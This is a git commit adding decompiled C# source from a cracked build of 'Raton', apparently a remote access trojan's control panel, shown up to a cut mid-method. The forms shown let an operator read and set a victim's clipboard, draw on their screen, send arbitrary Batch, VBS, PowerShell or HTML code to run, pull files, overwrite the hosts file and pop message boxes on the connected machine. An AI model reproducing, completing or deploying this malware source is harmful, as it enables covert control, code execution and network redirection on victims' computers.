initial commit

This commit is contained in:
i2p
2026-08-27 11:23:13 -06:00
commit 21b93ff794
837 changed files with 181368 additions and 0 deletions
@@ -0,0 +1,23 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.DrawStroke
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class DrawStroke
{
public int X1 { get; set; }
public int Y1 { get; set; }
public int X2 { get; set; }
public int Y2 { get; set; }
public int Size { get; set; }
public string Color { get; set; }
}
@@ -0,0 +1,155 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonClipboard
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonClipboard : Form
{
private IContainer components;
private Timer timer1;
public TextBox textBox1;
private TextBox textBox2;
private RgbBuildButton button1;
private RgbBuildButton button2;
private Label label1;
private Label label2;
public SillyClient SillyClient { get; set; }
public ratonClipboard()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonClipboard_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button1_Click(object sender, EventArgs e)
{
if (this.textBox1.Text != null || this.textBox1.TextLength > 1)
{
Clipboard.SetText(this.textBox1.Text);
}
else
{
int num = (int) Messenger.MessageBox("The clipboard is null", "Error", icon: MessageBoxIcon.Hand);
}
}
private void button2_Click(object sender, EventArgs e)
{
Pack pack = new Pack();
pack.SetString("Packet", "Clipboard");
pack.SetString("Text", this.textBox2.Text);
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Sent to the clipboard", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonClipboard));
this.timer1 = new Timer(this.components);
this.textBox1 = new TextBox();
this.textBox2 = new TextBox();
this.button1 = new RgbBuildButton();
this.button2 = new RgbBuildButton();
this.label1 = new Label();
this.label2 = new Label();
this.SuspendLayout();
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.textBox1.Location = new Point(14, 28);
this.textBox1.Name = "textBox1";
this.textBox1.ReadOnly = true;
this.textBox1.Size = new Size(564, 21);
this.textBox1.TabIndex = 0;
this.textBox1.Text = "Waiting...";
this.textBox2.Location = new Point(12, 123);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(563, 21);
this.textBox2.TabIndex = 1;
this.button1.Cursor = Cursors.Arrow;
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_clipboard_checkmark_24_filled_1_;
this.button1.IconSize = 16 /*0x10*/;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(15, 55);
this.button1.Name = "button1";
this.button1.Size = new Size(563, 47);
this.button1.TabIndex = 2;
this.button1.Text = "Copy text";
this.button1.Click += new EventHandler(this.button1_Click);
this.button2.Cursor = Cursors.Arrow;
this.button2.Font = new Font("Segoe UI Semibold", 10.5f);
this.button2.ForeColor = Color.White;
this.button2.Icon = (Image) Resources.ic_fluent_clipboard_checkmark_24_filled_1_1;
this.button2.IconSize = 16 /*0x10*/;
this.button2.IconSpacing = 8;
this.button2.Location = new Point(11, 150);
this.button2.Name = "button2";
this.button2.Size = new Size(564, 47);
this.button2.TabIndex = 3;
this.button2.Text = "Send to clipboard";
this.button2.Click += new EventHandler(this.button2_Click);
this.label1.AutoSize = true;
this.label1.Location = new Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new Size(106, 14);
this.label1.TabIndex = 4;
this.label1.Text = "Get text from client";
this.label2.AutoSize = true;
this.label2.Location = new Point(12, 105);
this.label2.Name = "label2";
this.label2.Size = new Size(100, 14);
this.label2.TabIndex = 5;
this.label2.Text = "Send text to client";
this.AutoScaleDimensions = new SizeF(7f, 14f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(589, 209);
this.Controls.Add((Control) this.textBox2);
this.Controls.Add((Control) this.label1);
this.Controls.Add((Control) this.button2);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label2);
this.Font = new Font("Microsoft JhengHei UI", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonClipboard);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonClipboard);
this.Load += new EventHandler(this.ratonClipboard_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,208 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonDrawing
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Reflection;
using System.Text.Json;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonDrawing : Form
{
private bool drawing;
private Point lastPoint;
private Bitmap canvas;
private readonly List<DrawStroke> strokes = new List<DrawStroke>();
private readonly Color currentColor = Color.Red;
private readonly int currentSize = 3;
private IContainer components;
private Panel panel1;
private RgbBuildButton rgbBuildButton1;
private Timer timer1;
public SillyClient SillyClient { get; set; }
public ratonDrawing()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
ratonDrawing.EnableDoubleBuffer((Control) this.panel1);
this.panel1.MouseDown += new MouseEventHandler(this.DrawPanel_MouseDown);
this.panel1.MouseMove += new MouseEventHandler(this.DrawPanel_MouseMove);
this.panel1.MouseUp += new MouseEventHandler(this.DrawPanel_MouseUp);
this.panel1.Paint += new PaintEventHandler(this.DrawPanel_Paint);
this.panel1.Resize += new EventHandler(this.DrawPanel_Resize);
this.CreateCanvas();
}
private void CreateCanvas()
{
if (this.panel1.Width <= 0 || this.panel1.Height <= 0)
return;
this.canvas?.Dispose();
this.canvas = new Bitmap(this.panel1.Width, this.panel1.Height);
}
private void DrawPanel_Resize(object sender, EventArgs e)
{
if (this.canvas == null)
return;
Bitmap bitmap = new Bitmap(this.panel1.Width, this.panel1.Height);
using (Graphics graphics = Graphics.FromImage((Image) bitmap))
graphics.DrawImage((Image) this.canvas, 0, 0);
this.canvas.Dispose();
this.canvas = bitmap;
this.panel1.Invalidate();
}
private void DrawPanel_MouseDown(object sender, MouseEventArgs e)
{
this.drawing = true;
this.panel1.Capture = true;
this.lastPoint = e.Location;
}
private void DrawPanel_MouseUp(object sender, MouseEventArgs e)
{
this.drawing = false;
this.panel1.Capture = false;
}
private void DrawPanel_MouseMove(object sender, MouseEventArgs e)
{
if (!this.drawing || this.canvas == null)
return;
using (Graphics graphics = Graphics.FromImage((Image) this.canvas))
{
using (Pen pen = new Pen(this.currentColor, (float) this.currentSize))
{
pen.StartCap = LineCap.Round;
pen.EndCap = LineCap.Round;
graphics.SmoothingMode = SmoothingMode.AntiAlias;
graphics.DrawLine(pen, this.lastPoint, e.Location);
}
}
List<DrawStroke> strokes = this.strokes;
DrawStroke drawStroke = new DrawStroke();
drawStroke.X1 = this.lastPoint.X;
drawStroke.Y1 = this.lastPoint.Y;
Point location = e.Location;
drawStroke.X2 = location.X;
location = e.Location;
drawStroke.Y2 = location.Y;
drawStroke.Size = this.currentSize;
drawStroke.Color = this.currentColor.Name;
strokes.Add(drawStroke);
this.lastPoint = e.Location;
this.panel1.Invalidate();
}
private void DrawPanel_Paint(object sender, PaintEventArgs e)
{
if (this.canvas == null)
return;
e.Graphics.DrawImageUnscaled((Image) this.canvas, 0, 0);
}
private void ratonDrawing_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.timer1.Stop();
this.Close();
}
private void rgbBuildButton1_Click(object sender, EventArgs e)
{
if (this.strokes.Count == 0)
{
int num1 = (int) Messenger.MessageBox("Draw something first", "Empty", icon: MessageBoxIcon.Exclamation);
}
else
{
string str = JsonSerializer.Serialize<List<DrawStroke>>(this.strokes);
Console.WriteLine(str);
Pack pack = new Pack();
pack.SetString("Packet", "Draw");
pack.SetString("data", str);
pack.SetInt("w", this.panel1.Width);
pack.SetInt("h", this.panel1.Height);
this.SillyClient.Send(pack.Pacc());
this.strokes.Clear();
int num2 = (int) Messenger.MessageBox("Nice drawing vro, sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
private static void EnableDoubleBuffer(Control c)
{
typeof (Control).GetProperty("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) c, (object) true);
}
private void panel1_Paint(object sender, PaintEventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonDrawing));
this.panel1 = new Panel();
this.rgbBuildButton1 = new RgbBuildButton();
this.timer1 = new Timer(this.components);
this.SuspendLayout();
this.panel1.Location = new Point(-3, 0);
this.panel1.Name = "panel1";
this.panel1.Size = new Size(831, 473);
this.panel1.TabIndex = 0;
this.panel1.Paint += new PaintEventHandler(this.panel1_Paint);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_status_24_filled;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(13, 480);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(801, 46);
this.rgbBuildButton1.TabIndex = 1;
this.rgbBuildButton1.Text = "Send drawing";
this.rgbBuildButton1.Click += new EventHandler(this.rgbBuildButton1_Click);
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(826, 543);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.panel1);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonDrawing);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "raton";
this.Load += new EventHandler(this.ratonDrawing_Load);
this.ResumeLayout(false);
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,165 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonExecuteCode
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using FastColoredTextBoxNS;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonExecuteCode : Form
{
private IContainer components;
private FastColoredTextBox fastColoredTextBox1;
private RgbBuildButton button1;
private Timer timer1;
public FlatComboBox flatComboBox1;
public SillyClient SillyClient { get; set; }
public ratonExecuteCode()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
this.timer1.Start();
}
private void button1_Click(object sender, EventArgs e)
{
string str = this.fastColoredTextBox1.Text.Replace("\r\n", "\n");
Pack pack = new Pack();
pack.SetString("Packet", "Execute");
pack.SetString("Type", this.flatComboBox1.SelectedItem.ToString());
pack.SetString("Code", str);
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Code sent successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void ratonExecuteCode_Load(object sender, EventArgs e)
{
this.fastColoredTextBox1.BackColor = Color.FromArgb(49, 51, 56);
}
private void flatComboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonExecuteCode));
this.fastColoredTextBox1 = new FastColoredTextBox();
this.button1 = new RgbBuildButton();
this.timer1 = new Timer(this.components);
this.flatComboBox1 = new FlatComboBox();
((ISupportInitialize) this.fastColoredTextBox1).BeginInit();
this.SuspendLayout();
this.fastColoredTextBox1.AutoCompleteBracketsList = new char[10]
{
'(',
')',
'{',
'}',
'[',
']',
'"',
'"',
'\'',
'\''
};
this.fastColoredTextBox1.AutoIndentCharsPatterns = "\r\n^\\s*[\\w\\.]+(\\s\\w+)?\\s*(?<range>=)\\s*(?<range>[^;]+);\r\n^\\s*(case|default)\\s*[^:]*(?<range>:)\\s*(?<range>[^;]+);\r\n";
this.fastColoredTextBox1.AutoScrollMinSize = new Size(235, 14);
this.fastColoredTextBox1.BackBrush = (Brush) null;
this.fastColoredTextBox1.BackColor = Color.WhiteSmoke;
this.fastColoredTextBox1.BracketsHighlightStrategy = BracketsHighlightStrategy.Strategy2;
this.fastColoredTextBox1.CharHeight = 14;
this.fastColoredTextBox1.CharWidth = 8;
this.fastColoredTextBox1.Cursor = Cursors.IBeam;
this.fastColoredTextBox1.DisabledColor = Color.FromArgb(100, 180, 180, 180);
this.fastColoredTextBox1.IndentBackColor = SystemColors.InactiveCaption;
this.fastColoredTextBox1.IsReplaceMode = false;
this.fastColoredTextBox1.Language = Language.CSharp;
this.fastColoredTextBox1.LeftBracket = '(';
this.fastColoredTextBox1.LeftBracket2 = '{';
this.fastColoredTextBox1.Location = new Point(-1, -1);
this.fastColoredTextBox1.Name = "fastColoredTextBox1";
this.fastColoredTextBox1.Paddings = new Padding(0);
this.fastColoredTextBox1.RightBracket = ')';
this.fastColoredTextBox1.RightBracket2 = '}';
this.fastColoredTextBox1.SelectionColor = Color.FromArgb(60, 0, 0, (int) byte.MaxValue);
this.fastColoredTextBox1.ServiceColors = (ServiceColors) componentResourceManager.GetObject("fastColoredTextBox1.ServiceColors");
this.fastColoredTextBox1.ServiceLinesColor = Color.DimGray;
this.fastColoredTextBox1.Size = new Size(668, 419);
this.fastColoredTextBox1.TabIndex = 0;
this.fastColoredTextBox1.Text = "// Type your code here! :)";
this.fastColoredTextBox1.Zoom = 100;
this.button1.Cursor = Cursors.Arrow;
this.button1.Dock = DockStyle.Bottom;
this.button1.Font = new Font("Segoe UI Semibold", 15.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_code_24_filled1;
this.button1.IconSize = 30;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(0, 438);
this.button1.Name = "button1";
this.button1.Size = new Size(665, 68);
this.button1.TabIndex = 2;
this.button1.Text = "Execute code";
this.button1.Click += new EventHandler(this.button1_Click);
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.flatComboBox1.FormattingEnabled = true;
this.flatComboBox1.Items.AddRange(new object[4]
{
(object) "Batch",
(object) "VBS",
(object) "Powershell",
(object) "Html"
});
this.flatComboBox1.Location = new Point(-1, 418);
this.flatComboBox1.Name = "flatComboBox1";
this.flatComboBox1.Size = new Size(668, 23);
this.flatComboBox1.TabIndex = 1;
this.flatComboBox1.Text = "Batch";
this.flatComboBox1.SelectedIndexChanged += new EventHandler(this.flatComboBox1_SelectedIndexChanged);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(665, 506);
this.Controls.Add((Control) this.flatComboBox1);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.fastColoredTextBox1);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonExecuteCode);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonExecuteCode);
this.Load += new EventHandler(this.ratonExecuteCode_Load);
((ISupportInitialize) this.fastColoredTextBox1).EndInit();
this.ResumeLayout(false);
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,163 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonFIle
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonFIle : Form
{
private IContainer components;
private Label lblStatus;
private Timer timer1;
public FlatProgressBar flatProgressBar1;
public Timer timer2;
public Label lblPorcent;
public Label lblName;
public Label lblSize;
public SillyClient SillyClient { get; set; }
public long FileSize { get; set; }
public object OneByOne { get; set; }
public long TotalFileSize { get; set; }
public string FileName { get; set; }
public string UID { get; set; }
public ratonFIle()
{
this.InitializeComponent();
this.OneByOne = new object();
DarkMode.Start((Form) this);
}
private void ratonFIle_Load(object sender, EventArgs e)
{
this.timer1.Start();
this.timer2.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void timer2_Tick(object sender, EventArgs e)
{
this.lblName.Text = this.FileName;
this.lblSize.Text = "Size: " + Helpers.BytesToString(this.FileSize);
if (this.FileSize <= 0L)
{
this.flatProgressBar1.Value = 0;
this.timer2.Stop();
}
else
{
float f = 100f * (float) this.TotalFileSize / (float) this.FileSize;
if (float.IsNaN(f) || float.IsInfinity(f))
f = 0.0f;
int num = this.Clamp((int) f, 0, 100);
this.flatProgressBar1.Value = num;
this.lblPorcent.Text = $"{num}%";
}
}
private int Clamp(int value, int min, int max)
{
if (value < min)
return min;
return value <= max ? value : max;
}
public void Status(string status) => this.Invoke((Delegate) (() => this.lblStatus.Text = status));
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonFIle));
this.lblStatus = new Label();
this.lblSize = new Label();
this.lblName = new Label();
this.lblPorcent = new Label();
this.timer1 = new Timer(this.components);
this.timer2 = new Timer(this.components);
this.flatProgressBar1 = new FlatProgressBar();
this.SuspendLayout();
this.lblStatus.AutoSize = true;
this.lblStatus.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.lblStatus.Location = new Point(9, 45);
this.lblStatus.Name = "lblStatus";
this.lblStatus.Size = new Size(59, 15);
this.lblStatus.TabIndex = 1;
this.lblStatus.Text = "Loading...";
this.lblSize.AutoSize = true;
this.lblSize.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.lblSize.Location = new Point(9, 28);
this.lblSize.Name = "lblSize";
this.lblSize.Size = new Size(77, 15);
this.lblSize.TabIndex = 2;
this.lblSize.Text = "Size: Unknow";
this.lblName.AutoSize = true;
this.lblName.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.lblName.Location = new Point(9, 9);
this.lblName.Name = "lblName";
this.lblName.Size = new Size(26, 16 /*0x10*/);
this.lblName.TabIndex = 3;
this.lblName.Text = "???";
this.lblPorcent.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.lblPorcent.Location = new Point(289, 71);
this.lblPorcent.Name = "lblPorcent";
this.lblPorcent.Size = new Size(44, 15);
this.lblPorcent.TabIndex = 4;
this.lblPorcent.Text = "100%";
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.timer2.Tick += new EventHandler(this.timer2_Tick);
this.flatProgressBar1.Location = new Point(12, 67);
this.flatProgressBar1.Name = "flatProgressBar1";
this.flatProgressBar1.ProgressBarColor = Color.LightGreen;
this.flatProgressBar1.Size = new Size(271, 23);
this.flatProgressBar1.TabIndex = 0;
this.flatProgressBar1.Value = 70;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(331, 113);
this.Controls.Add((Control) this.lblStatus);
this.Controls.Add((Control) this.lblPorcent);
this.Controls.Add((Control) this.lblName);
this.Controls.Add((Control) this.lblSize);
this.Controls.Add((Control) this.flatProgressBar1);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonFIle);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonFIle);
this.Load += new EventHandler(this.ratonFIle_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,131 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonHosts
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using FastColoredTextBoxNS;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonHosts : Form
{
private IContainer components;
private RgbBuildButton rgbBuildButton1;
private Timer timer1;
public FastColoredTextBox textBox1;
public SillyClient SillyClient { get; set; }
public ratonHosts()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonHosts_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void rgbBuildButton1_Click(object sender, EventArgs e)
{
string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(this.textBox1.Text));
Pack pack = new Pack();
pack.SetString("Packet", "Hosts");
pack.SetString("Content", base64String);
this.SillyClient.Send(pack.Pacc());
int num = (int) Messenger.MessageBox("Hosts file modified!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonHosts));
this.textBox1 = new FastColoredTextBox();
this.timer1 = new Timer(this.components);
this.rgbBuildButton1 = new RgbBuildButton();
((ISupportInitialize) this.textBox1).BeginInit();
this.SuspendLayout();
this.textBox1.AutoCompleteBracketsList = new char[10]
{
'(',
')',
'{',
'}',
'[',
']',
'"',
'"',
'\'',
'\''
};
this.textBox1.AutoScrollMinSize = new Size(32 /*0x20*/, 12);
this.textBox1.BackBrush = (Brush) null;
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
this.textBox1.CharHeight = 12;
this.textBox1.CharWidth = 7;
this.textBox1.Cursor = Cursors.IBeam;
this.textBox1.DisabledColor = Color.FromArgb(100, 180, 180, 180);
this.textBox1.Dock = DockStyle.Top;
this.textBox1.Font = new Font("Courier New", 8.25f);
this.textBox1.IsReplaceMode = false;
this.textBox1.Location = new Point(0, 0);
this.textBox1.Name = "textBox1";
this.textBox1.Paddings = new Padding(0);
this.textBox1.SelectionColor = Color.FromArgb(60, 0, 0, (int) byte.MaxValue);
this.textBox1.ServiceColors = (ServiceColors) componentResourceManager.GetObject("textBox1.ServiceColors");
this.textBox1.Size = new Size(526, 505);
this.textBox1.TabIndex = 0;
this.textBox1.Text = " ";
this.textBox1.Zoom = 100;
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.rgbBuildButton1.Cursor = Cursors.Arrow;
this.rgbBuildButton1.Dock = DockStyle.Bottom;
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
this.rgbBuildButton1.ForeColor = Color.White;
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_wifi_warning_24_filled;
this.rgbBuildButton1.IconSize = 25;
this.rgbBuildButton1.IconSpacing = 8;
this.rgbBuildButton1.Location = new Point(0, 511 /*0x01FF*/);
this.rgbBuildButton1.Name = "rgbBuildButton1";
this.rgbBuildButton1.Size = new Size(526, 52);
this.rgbBuildButton1.TabIndex = 1;
this.rgbBuildButton1.Text = "Modify file";
this.rgbBuildButton1.Click += new EventHandler(this.rgbBuildButton1_Click);
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(526, 563);
this.Controls.Add((Control) this.rgbBuildButton1);
this.Controls.Add((Control) this.textBox1);
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.Name = nameof (ratonHosts);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonHosts);
this.Load += new EventHandler(this.ratonHosts_Load);
((ISupportInitialize) this.textBox1).EndInit();
this.ResumeLayout(false);
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,198 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Misc.ratonMessageBox
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Misc;
public class ratonMessageBox : Form
{
private IContainer components;
private FlatComboBox flatComboBox1;
private FlatComboBox flatComboBox2;
private Label label1;
private Label label2;
private TextBox textBox1;
private TextBox textBox2;
private Label label3;
private Label label4;
private Timer timer1;
private RgbBuildButton rgbBuildButton1;
public SillyClient SillyClient { get; set; }
public ratonMessageBox()
{
this.InitializeComponent();
this.timer1.Start();
DarkMode.Start((Form) this);
this.flatComboBox2.Items.Clear();
this.flatComboBox1.Items.Clear();
this.flatComboBox2.Items.AddRange((object[]) new string[3]
{
"Error",
"Warning",
"Information"
});
this.flatComboBox2.SelectedIndex = 0;
this.flatComboBox1.Items.AddRange((object[]) new string[6]
{
"OK",
"OK, Cancel",
"Yes, No",
"Yes, No, Cancel",
"Retry, Cancel",
"Abort, Retry, Ignore"
});
this.flatComboBox1.SelectedIndex = 0;
}
private void button1_Click(object sender, EventArgs e)
{
if (this.textBox1.TextLength < 1)
{
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
}
else if (this.textBox2.TextLength < 1)
{
int num2 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
}
else
{
Pack pack = new Pack();
pack.SetString("Packet", "MsgBox");
pack.SetString("Icon", (string) this.flatComboBox2.SelectedItem);
pack.SetString("Options", (string) this.flatComboBox1.SelectedItem);
pack.SetString("Title", this.textBox1.Text.ToString());
pack.SetString("Message", this.textBox2.Text.ToString());
this.SillyClient.Send(pack.Pacc());
int num3 = (int) Messenger.MessageBox("Message box sent", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
private void ratonMessageBox_Load(object sender, EventArgs e)
{
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
